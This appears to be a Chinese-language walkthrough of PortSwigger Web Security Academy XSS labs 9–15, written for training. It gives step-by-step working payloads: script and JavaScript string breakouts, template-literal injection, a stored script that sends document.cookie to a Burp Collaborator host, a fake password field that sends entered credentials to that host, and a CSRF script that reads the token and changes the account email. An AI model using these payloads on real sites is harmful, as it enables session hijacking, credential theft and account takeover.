靶场地址
All labs | Web Security Academy
第九关:反射型( ' 转义)
1.在搜索框随机输入字符并用Burp抓包
2.测试不同字符在JavaScript字符串中的反映,发现查询结果被包裹在script标签中
而单引号会被转义为 \
3.构造payload跳出js模块,出现弹窗证明攻击成功
</script><script>alert(111)</script>
第十关:反射型(' 转义和 \ 编码)
1.在搜索框随机输入字符并用Burp抓包
2.测试不同字符在JavaScript字符串中的反映,发现查询结果被包裹在script标签中
单引号会被转义为 \
而反斜杠不被转义
3.构造payload跳出js模块,出现弹窗证明攻击成功
\'-alert(111)//
第十一关:存储型(' 和 \ 转义)
1.在评论区写个评论后在源码中查看评论内容所在的位置,发现评论的URL出现在onclick事件中
2.在website中构造payload来跳出js事件,即可通关
http://foo?'-alert(1)-'
3.返回评论页面点击名称触发弹窗
第十二关:反射型(模版文本)
1.在搜索框随机输入字符,发现该字符被包裹在js模版文本中
模板文本是用反勾字符分隔的字面量,允许多行字符串、使用嵌入表达式的字符串插值以及称为标记模板的特殊结构
2.构造payload,出现弹窗即可通关
${alert(1)}:$符可以替代执行的函数
第十三关:存储型(窃取 cookie)
1.在评论里直接插入payload,出现弹窗说明存在xss漏洞
<script>alert('111')</script>
2.打开客户端,复制payload
3.接着在评论里发布payload
<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie });
</script>
4.返回客户端来获取受害者的cookie和secret值
5.抓包后利用受害者的cookie登录
6.点击forward后即可通关
第十四关:存储型(获取密码)
1.先打开客户端复制payload
2.在评论里插入payload
<input name=username id=username>
<input type=password name=password οnchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
3.返回客户端查看受害者的密码
4.使用该密码登录即可通关
第十五关:存储型(执行 CSRF)
1.首先用所给的账户登录
2.更改邮箱并抓包,发现csrf值
3.在评论里插入payload后,即可通关
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>